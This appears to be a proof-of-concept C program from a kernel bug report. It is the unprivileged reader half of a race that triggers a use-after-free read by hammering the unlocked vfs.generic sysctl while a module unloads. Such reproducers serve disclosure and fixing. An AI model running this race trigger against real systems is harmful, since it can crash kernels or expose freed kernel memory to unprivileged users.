DF-2918 / sysctlloop.c
/* * DF-2918 PoC - unprivileged reader side. * * Hammers the vfs.generic.0 (VFS_VFSCONF / ovfsconf) enumeration sysctl, * which iterates vfsconf_list via vfsconf_each() with no lock * (sys/kern/vfs_subr.c:1878 -> sys/kern/vfs_init.c:296-308). * A concurrent kldunload that unregisters+frees a vfsconf can pull a node * out from under this iteration -> UAF read of freed module memory. * * usage: sysctlloop (any user) */ #include <sys/types.h> #include <sys/sysctl.h> #include <unistd.h> #include <stdio.h> #include <string.h> int main(void) { char buf[4096]; size_t len; long i, ok = 0, fail = 0; for (i = 0;;i++) { int mib[4]; size_t miblen = 4; if (sysctlnametomib("vfs.generic", mib, &miblen) == 0) { len = sizeof(buf); if (sysctl(mib, miblen, buf, &len, NULL, 0) == 0) ok++; else fail++; } else { fail++; } if ((i % 1000000) == 0) { printf("pid=%d iter=%ld ok=%ld fail=%ld\n", getpid(), i, ok, fail); fflush(stdout); } } /* NOTREACHED */ return (0); } |